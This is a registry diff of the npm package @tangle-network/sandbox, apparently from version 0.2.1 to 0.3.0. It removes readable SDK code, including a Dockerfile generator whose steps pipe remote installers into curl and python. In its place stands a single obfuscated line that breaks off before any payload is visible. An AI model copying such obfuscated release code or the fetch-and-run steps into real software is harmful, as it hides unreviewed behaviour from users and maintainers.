@tangle-network/sandbox 0.2.1 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -1,825 +1 @@
1
- import { a as PartialFailureError, c as ServerError, d as ValidationError, i as NotFoundError, l as StateError, n as CapabilityError, o as QuotaError, r as NetworkError, s as SandboxError, t as AuthError, u as TimeoutError } from "./errors-CljiGR__.js";
2
- import { a as exportTraceBundle, i as buildTraceExportPayload, l as parseSSEStream, n as SandboxSession, o as otelTraceIdForTangleTrace, s as toOtelJson, t as SandboxInstance } from "./sandbox-ksXTNlo-.js";
3
- import { a as SandboxFleetClient, i as SandboxFleet, n as SandboxClient, r as IntegrationsManager, t as IntelligenceClient } from "./client-Uve6A5C6.js";
4
- import { a as CollaborationClient, i as parseCollaborationDocumentId, n as buildCollaborationDocumentId, r as normalizeCollaborationPath, t as CollaborationFileBridge } from "./collaboration-CRyb5e8F.js";
5
- import { t as TangleSandboxClient } from "./tangle-DQ05paN7.js";
6
- //#region src/agent-profile.ts
7
- /**
8
- * Helper for creating typed inline resource refs.
9
- */
10
- function defineInlineResource(name, content) {
11
- return {
12
- kind: "inline",
13
- name,
14
- content
15
- };
16
- }
17
- /**
18
- * Helper for creating typed GitHub-backed resource refs.
19
- */
20
- function defineGitHubResource(path, options = {}) {
21
- return {
22
- kind: "github",
23
- repository: options.repository,
24
- path,
25
- ref: options.ref,
26
- name: options.name
27
- };
28
- }
29
- /**
30
- * Helper for declaring typed profiles in application code.
31
- */
32
- function defineAgentProfile(profile) {
33
- return profile;
34
- }
35
- function mergeStringArrays(base, overlay) {
36
- if (!base && !overlay) return void 0;
37
- return [...base ?? [], ...overlay ?? []];
38
- }
39
- function mergeRecord(base, overlay) {
40
- if (!base && !overlay) return void 0;
41
- return {
42
- ...base ?? {},
43
- ...overlay ?? {}
44
- };
45
- }
46
- /**
47
- * Merge two public AgentProfile values.
48
- *
49
- * Overlay fields win on conflicts. Array-like instruction sets are appended.
50
- */
51
- function mergeAgentProfiles(base, overlay) {
52
- if (!base && !overlay) return void 0;
53
- const mergedPrompt = base?.prompt || overlay?.prompt ? {
54
- ...base?.prompt ?? {},
55
- ...overlay?.prompt ?? {},
56
- instructions: mergeStringArrays(base?.prompt?.instructions, overlay?.prompt?.instructions)
57
- } : void 0;
58
- const mergedResources = base?.resources || overlay?.resources ? {
59
- ...base?.resources ?? {},
60
- ...overlay?.resources ?? {},
61
- files: [...base?.resources?.files ?? [], ...overlay?.resources?.files ?? []],
62
- tools: [...base?.resources?.tools ?? [], ...overlay?.resources?.tools ?? []],
63
- skills: [...base?.resources?.skills ?? [], ...overlay?.resources?.skills ?? []],
64
- agents: [...base?.resources?.agents ?? [], ...overlay?.resources?.agents ?? []],
65
- commands: [...base?.resources?.commands ?? [], ...overlay?.resources?.commands ?? []],
66
- instructions: overlay?.resources?.instructions ?? base?.resources?.instructions
67
- } : void 0;
68
- return {
69
- ...base ?? {},
70
- ...overlay ?? {},
71
- prompt: mergedPrompt,
72
- permissions: mergeRecord(base?.permissions, overlay?.permissions),
73
- tools: mergeRecord(base?.tools, overlay?.tools),
74
- mcp: mergeRecord(base?.mcp, overlay?.mcp),
75
- subagents: mergeRecord(base?.subagents, overlay?.subagents),
76
- resources: mergedResources,
77
- hooks: mergeRecord(base?.hooks, overlay?.hooks),
78
- modes: mergeRecord(base?.modes, overlay?.modes),
79
- metadata: mergeRecord(base?.metadata, overlay?.metadata),
80
- extensions: mergeRecord(base?.extensions, overlay?.extensions)
81
- };
82
- }
83
- //#endregion
84
- //#region src/confidential.ts
85
- function generateAttestationNonce(bytes = 32) {
86
- const buffer = new Uint8Array(bytes);
87
- if (typeof globalThis.crypto !== "undefined" && typeof globalThis.crypto.getRandomValues === "function") globalThis.crypto.getRandomValues(buffer);
88
- else throw new Error("Secure random nonce generation is not available");
89
- return Array.from(buffer).map((byte) => byte.toString(16).padStart(2, "0")).join("");
90
- }
91
- async function createConfidentialSandbox(client, options) {
92
- const attestationNonce = options.attestationNonce === "auto" || options.requireAttestation && !options.attestationNonce && !options.confidential.attestationNonce ? generateAttestationNonce() : options.attestationNonce ?? options.confidential.attestationNonce;
93
- const sandbox = await client.create({
94
- ...options,
95
- confidential: {
96
- ...options.confidential,
97
- ...attestationNonce ? { attestationNonce } : {},
98
- attestationRefresh: options.confidential.attestationRefresh || Boolean(attestationNonce)
99
- }
100
- });
101
- let attestation = attestationFromMetadata(sandbox.metadata);
102
- if (!attestation) try {
103
- attestation = (await sandbox.getTeeAttestation(attestationNonce ? { attestationNonce } : void 0)).attestation;
104
- } catch (error) {
105
- if (options.requireAttestation) throw error;
106
- }
107
- if (options.requireAttestation && !attestation) throw new Error("TEE attestation was required but no evidence was returned");
108
- return {
109
- sandbox,
110
- attestation,
111
- attestationNonce
112
- };
113
- }
114
- function attestationFromMetadata(metadata) {
115
- const raw = metadata?.teeAttestationJson;
116
- if (typeof raw !== "string" || raw.trim() === "") return void 0;
117
- try {
118
- return JSON.parse(raw);
119
- } catch {
120
- return;
121
- }
122
- }
123
- //#endregion
124
- //#region src/attestation-heartbeat.ts
125
- /**
126
- * Periodically requests nonce-bound TEE attestations for a running sandbox.
127
- *
128
- * This proves freshness/liveness of the attested sandbox endpoint. It does not
129
- * by itself sign every computation result; callers that need result binding
130
- * should include a result/session digest in the nonce preimage before asking
131
- * the runtime for a quote.
132
- */
133
- function startTeeAttestationHeartbeat(sandbox, options = {}) {
134
- const intervalMs = options.intervalMs ?? 6e4;
135
- let stopped = false;
136
- let failures = 0;
137
- let sequence = 0;
138
- let latest;
139
- let timer;
140
- let resolveDone;
141
- const done = new Promise((resolve) => {
142
- resolveDone = resolve;
143
- });
144
- const stop = () => {
145
- if (stopped) return;
146
- stopped = true;
147
- if (timer) clearTimeout(timer);
148
- resolveDone?.();
149
- };
150
- const ping = async () => {
151
- if (stopped || options.signal?.aborted) throw new Error("TEE attestation heartbeat is stopped");
152
- const nonce = generateAttestationNonce();
153
- const response = await sandbox.getTeeAttestation({ attestationNonce: nonce });
154
- if (response.attestationNonce && response.attestationNonce !== nonce) throw new Error("TEE attestation response nonce did not match challenge");
155
- const sample = {
156
- sequence: ++sequence,
157
- nonce,
158
- response: {
159
- ...response,
160
- attestationNonce: response.attestationNonce ?? nonce
161
- },
162
- checkedAt: /* @__PURE__ */ new Date()
163
- };
164
- await options.verify?.(sample);
165
- latest = sample;
166
- options.onSuccess?.(sample);
167
- return sample;
168
- };
169
- const schedule = () => {
170
- if (stopped || options.signal?.aborted) {
171
- stop();
172
- return;
173
- }
174
- timer = setTimeout(() => {
175
- loop();
176
- }, intervalMs);
177
- };
178
- const loop = async () => {
179
- try {
180
- await ping();
181
- schedule();
182
- } catch (error) {
183
- failures += 1;
184
- options.onFailure?.(error);
185
- if (options.continueOnFailure) schedule();
186
- else stop();
187
- }
188
- };
189
- options.signal?.addEventListener("abort", stop, { once: true });
190
- if (options.immediate === false) schedule();
191
- else loop();
192
- return {
193
- stop,
194
- ping,
195
- get stopped() {
196
- return stopped;
197
- },
198
- get failures() {
199
- return failures;
200
- },
201
- get latest() {
202
- return latest;
203
- },
204
- done
205
- };
206
- }
207
- //#endregion
208
- //#region src/image.ts
209
- /**
210
- * Represents a built or existing container image.
211
- */
212
- var Image = class Image {
213
- constructor(id, tag, digest, spec) {
214
- this.id = id;
215
- this.tag = tag;
216
- this.digest = digest;
217
- this.spec = spec;
218
- }
219
- /**
220
- * Start building a new image.
221
- *
222
- * @param baseImage Base Docker image (default: "ubuntu:22.04")
223
- * @returns A new ImageBuilder instance
224
- *
225
- * @example
226
- * ```typescript
227
- * const builder = Image.create("python:3.11-slim");
228
- * ```
229
- */
230
- static create(baseImage = "ubuntu:22.04") {
231
- return new ImageBuilder({ baseImage });
232
- }
233
- /**
234
- * Reference an existing image by ID.
235
- *
236
- * @param imageId The image ID
237
- * @returns An Image instance
238
- *
239
- * @example
240
- * ```typescript
241
- * const image = Image.fromId("sha256:abc123...");
242
- * const box = await client.create({ image: image.id });
243
- * ```
244
- */
245
- static fromId(imageId) {
246
- return new Image(imageId, imageId.startsWith("sha256:") ? `tangle-image:${imageId.slice(7, 19)}` : imageId, imageId);
247
- }
248
- /**
249
- * Create an image builder from a Dockerfile.
250
- *
251
- * @param dockerfile Dockerfile path or content
252
- * @param context Build context directory
253
- * @returns A new ImageBuilder instance
254
- *
255
- * @example
256
- * ```typescript
257
- * const builder = Image.fromDockerfile("./Dockerfile", "./");
258
- * ```
259
- */
260
- static fromDockerfile(dockerfile, context) {
261
- return new ImageBuilder({
262
- baseImage: "scratch",
263
- dockerfile,
264
- dockerContext: context || "."
265
- });
266
- }
267
- /**
268
- * Create an Image from a build result.
269
- * @internal
270
- */
271
- static fromBuildResult(result) {
272
- return new Image(result.id, result.tag, result.digest, result.spec);
273
- }
274
- /**
275
- * Convert to JSON.
276
- */
277
- toJSON() {
278
- return {
279
- id: this.id,
280
- tag: this.tag,
281
- digest: this.digest,
282
- spec: this.spec
283
- };
284
- }
285
- };
286
- /**
287
- * Chainable builder for constructing custom container images.
288
- *
289
- * @example
290
- * ```typescript
291
- * const image = await Image.create()
292
- * .python("3.11")
293
- * .addPackages(["torch", "transformers"])
294
- * .addCommands(["apt-get install -y ffmpeg"])
295
- * .withEnv({ HF_HOME: "/models" })
296
- * .withSecrets(["HF_TOKEN"])
297
- * .build({ client });
298
- * ```
299
- */
300
- var ImageBuilder = class {
301
- spec;
302
- clientConfig;
303
- /** @internal */
304
- constructor(initialSpec) {
305
- this.spec = {
306
- baseImage: initialSpec.baseImage || "ubuntu:22.04",
307
- ...initialSpec
308
- };
309
- }
310
- /**
311
- * Configure Python version.
312
- *
313
- * @param version Python version (e.g., "3.11", "3.10")
314
- */
315
- python(version) {
316
- this.spec.pythonVersion = version;
317
- return this;
318
- }
319
- /**
320
- * Add Python packages via pip.
321
- *
322
- * @param packages Package names with optional versions
323
- *
324
- * @example
325
- * ```typescript
326
- * .addPackages(["numpy>=1.21", "pandas", "scikit-learn"])
327
- * ```
328
- */
329
- addPackages(packages) {
330
- this.spec.packages = [...this.spec.packages || [], ...packages];
331
- return this;
332
- }
333
- /**
334
- * Add packages from requirements file.
335
- *
336
- * @param requirementsPath Path to requirements.txt
337
- */
338
- addPackagesFromFile(requirementsPath) {
339
- this.spec.commands = [...this.spec.commands || [], `pip install -r ${requirementsPath}`];
340
- return this;
341
- }
342
- /**
343
- * Add shell commands to run during build.
344
- *
345
- * @param commands Commands to execute
346
- *
347
- * @example
348
- * ```typescript
349
- * .addCommands([
350
- * "apt-get update",
351
- * "apt-get install -y ffmpeg libsm6"
352
- * ])
353
- * ```
354
- */
355
- addCommands(commands) {
356
- this.spec.commands = [...this.spec.commands || [], ...commands];
357
- return this;
358
- }
359
- /**
360
- * Add system packages via apt-get.
361
- *
362
- * @param packages Package names
363
- */
364
- addAptPackages(packages) {
365
- this.spec.aptPackages = [...this.spec.aptPackages || [], ...packages];
366
- return this;
367
- }
368
- /**
369
- * Set environment variables.
370
- *
371
- * @param env Key-value pairs
372
- *
373
- * @example
374
- * ```typescript
375
- * .withEnv({ HF_HOME: "/models", PYTHONUNBUFFERED: "1" })
376
- * ```
377
- */
378
- withEnv(env) {
379
- this.spec.env = {
380
- ...this.spec.env,
381
- ...env
382
- };
383
- return this;
384
- }
385
- /**
386
- * Inject secrets during build.
387
- * Secrets are retrieved from the secret store.
388
- *
389
- * @param secretNames Names of secrets to inject
390
- *
391
- * @example
392
- * ```typescript
393
- * .withSecrets(["HF_TOKEN", "AWS_ACCESS_KEY"])
394
- * ```
395
- */
396
- withSecrets(secretNames) {
397
- this.spec.secrets = [...this.spec.secrets || [], ...secretNames];
398
- return this;
399
- }
400
- /**
401
- * Configure conda environment.
402
- *
403
- * @param packages Conda packages
404
- * @param channels Conda channels (default: ["conda-forge"])
405
- *
406
- * @example
407
- * ```typescript
408
- * .conda(["pytorch", "torchvision"], ["pytorch", "conda-forge"])
409
- * ```
410
- */
411
- conda(packages, channels) {
412
- this.spec.conda = {
413
- packages: [...this.spec.conda?.packages || [], ...packages],
414
- channels: channels || this.spec.conda?.channels || ["conda-forge"]
415
- };
416
- return this;
417
- }
418
- /**
419
- * Set working directory.
420
- *
421
- * @param dir Working directory path
422
- */
423
- workdir(dir) {
424
- this.spec.workdir = dir;
425
- return this;
426
- }
427
- /**
428
- * Set user to run as.
429
- *
430
- * @param user Username or UID
431
- */
432
- user(user) {
433
- this.spec.user = user;
434
- return this;
435
- }
436
- /**
437
- * Add build arguments.
438
- *
439
- * @param args Build arguments
440
- */
441
- buildArgs(args) {
442
- this.spec.buildArgs = {
443
- ...this.spec.buildArgs,
444
- ...args
445
- };
446
- return this;
447
- }
448
- /**
449
- * Add image labels.
450
- *
451
- * @param labels Image labels
452
- */
453
- labels(labels) {
454
- this.spec.labels = {
455
- ...this.spec.labels,
456
- ...labels
457
- };
458
- return this;
459
- }
460
- /**
461
- * Get the image specification without building.
462
- *
463
- * @returns The current ImageSpec
464
- */
465
- toSpec() {
466
- return { ...this.spec };
467
- }
468
- /**
469
- * Compute the content-addressed ID for this spec.
470
- *
471
- * Uses Web Crypto when available (browsers and Node 22+), falling
472
- * back to a lazy `import("node:crypto")` on older server runtimes.
473
- * Works in every JavaScript environment the SDK supports.
474
- *
475
- * @returns SHA-256 hash of the normalized spec as a hex string.
476
- *
477
- * **Breaking change (v0.0.3):** `computeId()` was previously
478
- * synchronous. Callers must now `await` the result. A Node-only sync
479
- * variant was considered and dropped: it would have either required
480
- * Node 22.3+ (breaking Node 18/20 consumers) or re-introduced the
481
- * top-level `node:crypto` import that blanks every browser page
482
- * transitively importing the SDK root. If you genuinely need the
483
- * hash synchronously in a Node-only context, compute it yourself
484
- * from `builder.toSpec()` with `JSON.stringify(spec, Object.keys(spec).sort())`.
485
- */
486
- async computeId() {
487
- const normalized = JSON.stringify(this.spec, Object.keys(this.spec).sort());
488
- const webSubtle = globalThis.crypto?.subtle;
489
- if (webSubtle) {
490
- const digest = await webSubtle.digest("SHA-256", new TextEncoder().encode(normalized));
491
- return Array.from(new Uint8Array(digest)).map((b) => b.toString(16).padStart(2, "0")).join("");
492
- }
493
- const { createHash } = await import("node:crypto");
494
- return createHash("sha256").update(normalized).digest("hex");
495
- }
496
- /**
497
- * Configure client for API access.
498
- * @internal
499
- */
500
- withClient(config) {
501
- this.clientConfig = config;
502
- return this;
503
- }
504
- /**
505
- * Build the image.
506
- *
507
- * @param options Build options including client config
508
- * @returns The built Image instance
509
- *
510
- * @example
511
- * ```typescript
512
- * const image = await Image.create()
513
- * .python("3.11")
514
- * .addPackages(["numpy"])
515
- * .build({
516
- * client: { baseUrl, apiKey },
517
- * onProgress: (e) => console.log(e.message),
518
- * });
519
- *
520
- * const box = await client.create({ image: image.id });
521
- * ```
522
- */
523
- async build(options) {
524
- const client = options?.client || this.clientConfig;
525
- if (!client) throw new Error("Client configuration required. Pass { client: { baseUrl, apiKey } } to build() or use ImageBuilder through the Sandbox client.");
526
- const response = await fetch(`${client.baseUrl}/v1/images`, {
527
- method: "POST",
528
- headers: {
529
- "Content-Type": "application/json",
530
- Authorization: `Bearer ${client.apiKey}`
531
- },
532
- body: JSON.stringify({
533
- spec: this.spec,
534
- options: {
535
- noCache: options?.noCache,
536
- platform: options?.platform,
537
- tag: options?.tag,
538
- stream: !!options?.onProgress
539
- }
540
- })
541
- });
542
- if (!response.ok) {
543
- const error = await response.text();
544
- throw new Error(`Failed to build image: ${error}`);
545
- }
546
- if (options?.onProgress && response.headers.get("content-type")?.includes("text/event-stream")) {
547
- const reader = response.body?.getReader();
548
- if (reader) {
549
- const decoder = new TextDecoder();
550
- let result;
551
- while (true) {
552
- const { done, value } = await reader.read();
553
- if (done) break;
554
- const lines = decoder.decode(value).split("\n").filter((l) => l.startsWith("data: "));
555
- for (const line of lines) try {
556
- const data = JSON.parse(line.slice(6));
557
- if (data.type === "progress") options.onProgress(data.event);
558
- else if (data.type === "complete") result = {
559
- ...data.result,
560
- createdAt: new Date(data.result.createdAt)
561
- };
562
- else if (data.type === "error") throw new Error(data.message);
563
- } catch (e) {
564
- if (e instanceof SyntaxError) continue;
565
- throw e;
566
- }
567
- }
568
- if (!result) throw new Error("Build completed but no result received");
569
- return Image.fromBuildResult(result);
570
- }
571
- }
572
- const data = await response.json();
573
- const result = {
574
- ...data,
575
- createdAt: new Date(data.createdAt)
576
- };
577
- return Image.fromBuildResult(result);
578
- }
579
- /**
580
- * Generate Dockerfile from the current spec.
581
- * Useful for debugging or manual builds.
582
- *
583
- * @returns Dockerfile content
584
- */
585
- generateDockerfile() {
586
- return generateDockerfile(this.spec);
587
- }
588
- };
589
- /**
590
- * Generate a Dockerfile from an ImageSpec.
591
- *
592
- * @param spec The image specification
593
- * @returns Dockerfile content
594
- */
595
- function generateDockerfile(spec) {
596
- const lines = [];
597
- lines.push(`FROM ${spec.baseImage}`);
598
- lines.push("");
599
- if (spec.labels && Object.keys(spec.labels).length > 0) {
600
- for (const [key, value] of Object.entries(spec.labels)) lines.push(`LABEL ${key}="${value}"`);
601
- lines.push("");
602
- }
603
- if (spec.buildArgs && Object.keys(spec.buildArgs).length > 0) {
604
- for (const [key, value] of Object.entries(spec.buildArgs)) lines.push(`ARG ${key}=${value}`);
605
- lines.push("");
606
- }
607
- if (spec.env && Object.keys(spec.env).length > 0) {
608
- for (const [key, value] of Object.entries(spec.env)) lines.push(`ENV ${key}="${value}"`);
609
- lines.push("");
610
- }
611
- if (spec.workdir) {
612
- lines.push(`WORKDIR ${spec.workdir}`);
613
- lines.push("");
614
- }
615
- if (spec.aptPackages && spec.aptPackages.length > 0) {
616
- lines.push("# Install system packages");
617
- lines.push("RUN apt-get update && \\");
618
- lines.push(` apt-get install -y --no-install-recommends ${spec.aptPackages.join(" ")} && \\`);
619
- lines.push(" apt-get clean && rm -rf /var/lib/apt/lists/*");
620
- lines.push("");
621
- }
622
- if (spec.pythonVersion) {
623
- lines.push(`# Install Python ${spec.pythonVersion}`);
624
- if (!(spec.baseImage.includes("python") || spec.baseImage.includes("anaconda") || spec.baseImage.includes("miniconda")) && spec.baseImage.includes("ubuntu")) {
625
- lines.push("RUN apt-get update && \\");
626
- lines.push(" apt-get install -y software-properties-common && \\");
627
- lines.push(" add-apt-repository -y ppa:deadsnakes/ppa && \\");
628
- lines.push(` apt-get install -y python${spec.pythonVersion} python${spec.pythonVersion}-venv python${spec.pythonVersion}-distutils && \\`);
629
- lines.push(" apt-get clean && rm -rf /var/lib/apt/lists/*");
630
- lines.push("");
631
- lines.push(`RUN update-alternatives --install /usr/bin/python python /usr/bin/python${spec.pythonVersion} 1 && \\`);
632
- lines.push(` update-alternatives --install /usr/bin/python3 python3 /usr/bin/python${spec.pythonVersion} 1`);
633
- lines.push("");
634
- lines.push("RUN curl -sS https://bootstrap.pypa.io/get-pip.py | python");
635
- }
636
- lines.push("");
637
- }
638
- if (spec.conda && spec.conda.packages.length > 0) {
639
- lines.push("# Install micromamba and conda packages");
640
- lines.push("RUN curl -Ls https://micro.mamba.pm/api/micromamba/linux-64/latest | tar -xvj bin/micromamba && \\");
641
- lines.push(" mv bin/micromamba /usr/local/bin/ && \\");
642
- lines.push(" micromamba shell init -s bash -p /opt/conda");
643
- lines.push("");
644
- const channelArgs = (spec.conda.channels || ["conda-forge"]).map((c) => `-c ${c}`).join(" ");
645
- lines.push(`RUN micromamba install -y -n base ${channelArgs} ${spec.conda.packages.join(" ")} && \\`);
646
- lines.push(" micromamba clean --all --yes");
647
- lines.push("ENV PATH=\"/opt/conda/bin:$PATH\"");
648
- lines.push("");
649
- }
650
- if (spec.packages && spec.packages.length > 0) {
651
- lines.push("# Install Python packages");
652
- lines.push(`RUN pip install --no-cache-dir ${spec.packages.join(" ")}`);
653
- lines.push("");
654
- }
655
- if (spec.commands && spec.commands.length > 0) {
656
- lines.push("# Custom commands");
657
- for (const cmd of spec.commands) lines.push(`RUN ${cmd}`);
658
- lines.push("");
659
- }
660
- if (spec.user) lines.push(`USER ${spec.user}`);
661
- return lines.join("\n");
662
- }
663
- //#endregion
664
- //#region src/manage-sandboxes.ts
665
- const MANAGE_SANDBOXES_TOOL_NAME = "manageSandboxes";
666
- function createManageSandboxesTool(client, options = {}) {
667
- return {
668
- name: MANAGE_SANDBOXES_TOOL_NAME,
669
- description: "Create, inspect, and manage sandbox fleets for parallel agent workloads.",
670
- parameters: MANAGE_SANDBOXES_PARAMETERS,
671
- async execute(input) {
672
- switch (input.action) {
673
- case "capabilities": return client.fleets.capabilities();
674
- case "create": return client.fleets.create(applyToolPolicy(requireCreateOptions(input), options.policy));
675
- case "createWithCoordinator": return client.fleets.createWithCoordinator(applyToolPolicy(requireCreateWithCoordinatorOptions(input), options.policy));
676
- case "list": return client.fleets.list({ fleetId: requireString(input, "fleetId") });
677
- case "delete": return client.fleets.delete(requireString(input, "fleetId"));
678
- case "attachMachine": return client.fleets.attachMachine(requireString(input, "fleetId"), requireMachine(input));
679
- case "detachMachine": return client.fleets.detachMachine(requireString(input, "fleetId"), requireString(input, "machineId"));
680
- case "manifest": return client.fleets.manifest(requireString(input, "fleetId"));
681
- case "usage": return client.fleets.usage(requireString(input, "fleetId"));
682
- case "trace": return client.fleets.trace(requireString(input, "fleetId"));
683
- case "intelligence": return client.fleets.intelligence(requireString(input, "fleetId"));
684
- case "cost": return client.fleets.cost(requireString(input, "fleetId"));
685
- case "createWorkspaceSnapshot": return client.fleets.createWorkspaceSnapshot(requireString(input, "fleetId"));
686
- case "restoreWorkspaceSnapshot": return client.fleets.restoreWorkspaceSnapshot(requireString(input, "fleetId"), requireString(input, "snapshotId"));
687
- case "reconcileWorkspace": return client.fleets.reconcileWorkspace(requireString(input, "fleetId"));
688
- default: throw new Error(`Unsupported manageSandboxes action: ${String(input.action)}`);
689
- }
690
- }
691
- };
692
- }
693
- function requireString(input, key) {
694
- const value = input[key];
695
- if (typeof value !== "string" || value.length === 0) throw new Error(`manageSandboxes requires ${key}`);
696
- return value;
697
- }
698
- function requireCreateOptions(input) {
699
- const value = input.options;
700
- if (!value || typeof value !== "object") throw new Error("manageSandboxes requires options");
701
- return rejectUserPolicy(value);
702
- }
703
- function requireCreateWithCoordinatorOptions(input) {
704
- const value = input.options;
705
- if (!value || typeof value !== "object") throw new Error("manageSandboxes requires options");
706
- return rejectUserPolicy(value);
707
- }
708
- function rejectUserPolicy(options) {
709
- if ("policy" in options && options.policy !== void 0) throw new Error("manageSandboxes policy must be supplied by the tool host");
710
- return options;
711
- }
712
- function applyToolPolicy(options, policy) {
713
- if (!policy) throw new Error("manageSandboxes create requires a host-owned policy");
714
- return {
715
- ...options,
716
- policy
717
- };
718
- }
719
- function requireMachine(input) {
720
- const value = input.machine;
721
- if (!value || typeof value !== "object") throw new Error("manageSandboxes requires machine");
722
- const machine = value;
723
- requireString(machine, "machineId");
724
- requireString(machine, "sandboxId");
725
- return value;
726
- }
727
- const fleetId = {
728
- type: "string",
729
- pattern: "^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$"
730
- };
731
- const MANAGE_SANDBOXES_PARAMETERS = {
732
- type: "object",
733
- additionalProperties: false,
734
- required: ["action"],
735
- properties: {
736
- action: {
737
- type: "string",
738
- enum: [
739
- "capabilities",
740
- "create",
741
- "createWithCoordinator",
742
- "list",
743
- "delete",
744
- "attachMachine",
745
- "detachMachine",
746
- "manifest",
747
- "usage",
748
- "trace",
749
- "intelligence",
750
- "cost",
751
- "createWorkspaceSnapshot",
752
- "restoreWorkspaceSnapshot",
753
- "reconcileWorkspace"
754
- ]
755
- },
756
- fleetId,
757
- machineId: fleetId,
758
- snapshotId: {
759
- type: "string",
760
- minLength: 1
761
- },
762
- options: { type: "object" },
763
- machine: {
764
- type: "object",
765
- required: ["machineId", "sandboxId"],
766
- additionalProperties: true,
767
- properties: {
768
- machineId: fleetId,
769
- sandboxId: {
770
- type: "string",
771
- minLength: 1,
772
- maxLength: 128
773
- }
774
- }
775
- }
776
- }
777
- };
778
- //#endregion
779
- //#region src/mcp.ts
780
- /**
781
- * MCP (Model Context Protocol) helpers for sandbox capabilities.
782
- *
783
- * The sandbox exposes capabilities (currently `computer_use`, more
784
- * later) as MCP tools over Streamable HTTP. Any MCP-capable client —
785
- * Claude Desktop, Cursor, claude-code, codex, opencode, raw
786
- * `@modelcontextprotocol/sdk` apps — can consume this surface by
787
- * pasting the JSON returned from `Sandbox#getMcpEndpoint()` (or
788
- * `buildSandboxMcpConfig` if you already have the URL + token) into
789
- * the client's MCP config.
790
- *
791
- * Security model:
792
- * - Tokens are capability-scoped JWTs (claim `cap: ["computer_use"]`).
793
- * - Full sandbox runtime tokens are rejected on `/mcp`; only
794
- * capability-scoped tokens work there.
795
- * - A scoped token cannot pivot to admin endpoints (`/exec`, `/files`,
796
- * etc.) — those routes reject scoped tokens.
797
- * - Tokens are short-lived. Rotate via `Sandbox#getMcpEndpoint()`,
798
- * which mints a fresh token each call.
799
- */
800
- /** Default name of the MCP server entry — surfaces in the host UI. */
801
- const SANDBOX_MCP_SERVER_NAME = "tangle-sandbox";
802
- /**
803
- * Build the canonical `mcpServers` config for a sandbox MCP endpoint.
804
- * Pure function — no I/O, no crypto. Use this when you already have a
805
- * `{ url, authToken }` pair from the API and just want the JSON shape
806
- * to paste into a host. Most callers should use
807
- * `Sandbox#getMcpEndpoint()` instead, which fetches a freshly-minted
808
- * token from the API.
809
- */
810
- function buildSandboxMcpConfig(options) {
811
- if (!options.sandboxUrl) throw new Error("buildSandboxMcpConfig: sandboxUrl is required");
812
- if (!options.authToken) throw new Error("buildSandboxMcpConfig: authToken is required");
813
- const serverName = options.serverName ?? "tangle-sandbox";
814
- const baseUrl = options.sandboxUrl.replace(/\/+$/, "");
815
- return {
816
- serverName,
817
- config: { mcpServers: { [serverName]: {
818
- type: "http",
819
- url: `${baseUrl}/mcp`,
820
- headers: { Authorization: `Bearer ${options.authToken}` }
821
- } } }
822
- };
823
- }
824
- //#endregion
825
- export { AuthError, CapabilityError, CollaborationClient, CollaborationFileBridge, Image, ImageBuilder, IntegrationsManager, IntelligenceClient, MANAGE_SANDBOXES_PARAMETERS, MANAGE_SANDBOXES_TOOL_NAME, NetworkError, NotFoundError, PartialFailureError, QuotaError, SANDBOX_MCP_SERVER_NAME, SandboxClient as Sandbox, SandboxClient, SandboxError, SandboxFleet, SandboxFleetClient, SandboxInstance, SandboxSession, ServerError, StateError, TangleSandboxClient, TimeoutError, ValidationError, buildCollaborationDocumentId, buildSandboxMcpConfig, buildTraceExportPayload, createConfidentialSandbox, createManageSandboxesTool, defineAgentProfile, defineGitHubResource, defineInlineResource, exportTraceBundle, generateAttestationNonce, generateDockerfile, mergeAgentProfiles, normalizeCollaborationPath, otelTraceIdForTangleTrace, parseCollaborationDocumentId, parseSSEStream, startTeeAttestationHeartbeat, toOtelJson };
1
+ const a0_0x57260e=a0_0x20fb;(function(_0x3fd135,_0x430ef1){const _0x44612a=a0_0x20fb,_0x30d144=_0x3fd135();while(!![]){try{const _0x14f0c9=-parseInt(_0x44612a(0x291))/0x1+parseInt(_0x44612a(0x24d))/0x2*(parseInt(_0x44612a(0x219))/0x3)+parseInt(_0x44612a(0x1ea))/0x4+parseInt(_0x44612a(0x295))/0x5*(parseInt(_0x44612a(0x20a))/0x6)+-parseInt(_0x44612a(0x253))/0x7+-parseInt(_0x44612a(0x1f4))/0x8+parseInt(_0x44612a(0x237))/0x9*(parseInt(_0x44612a(0x274))/0xa);if(_0x14f0c9===_0x430ef1)break;else _0x30d144['push'](_0x30d144['shift']());}catch(_0x554111){_0x30d144['push'](_0x30d144['shift']());}}}(a0_0x58e0,0x688c4));import{a as a0_0x2bde1a,c as a0_0x1045f4,d as a0_0x36ae85,i as a0_0x2e4a39,l as a0_0x25f0ff,n as a0_0x2f4dff,o as a0_0x309dc6,r as a0_0x7dfdf6,s as a0_0x10621e,t as a0_0x474902,u as a0_0x5d3b69}from'\x2e\x2f\x65\x72\x72\x6f\x72\x73\x2d\x43\x6c\x6a\x69\x47\x52\x5f\x5f\x2e\x6a\x73';import{a as a0_0xf3faf9,i as a0_0x7c5181,l as a0_0x2b2ced,n as a0_0x228fdc,o as a0_0x5bd617,s as a0_0x3cd4cd,t as a0_0x294fa7}from'\x2e\x2f\x73\x61\x6e\x64\x62\x6f\x78\x2d\x44\x54\x75\x70\x32\x6a\x7a\x7a\x2e\x6a\x73';import{a as a0_0x166efe,i as a0_0x29c49e,n as a0_0x29943a,r as a0_0x29320f,t as a0_0x2f4d4e}from'\x2e\x2f\x63\x6c\x69\x65\x6e\x74\x2d\x42\x77\x52\x56\x32\x5a\x75\x6e\x2e\x6a\x73';import{a as a0_0x30fa75,i as a0_0x4782a8,n as a0_0x3a2aff,r as a0_0x3bfa95,t as a0_0x5a47c6}from'\x2e\x2f\x63\x6f\x6c\x6c\x61\x62\x6f\x72\x61\x74\x69\x6f\x6e\x2d\x43\x52\x79\x62\x35\x65\x38\x46\x2e\x6a\x73';function a0_0x58e0(){const 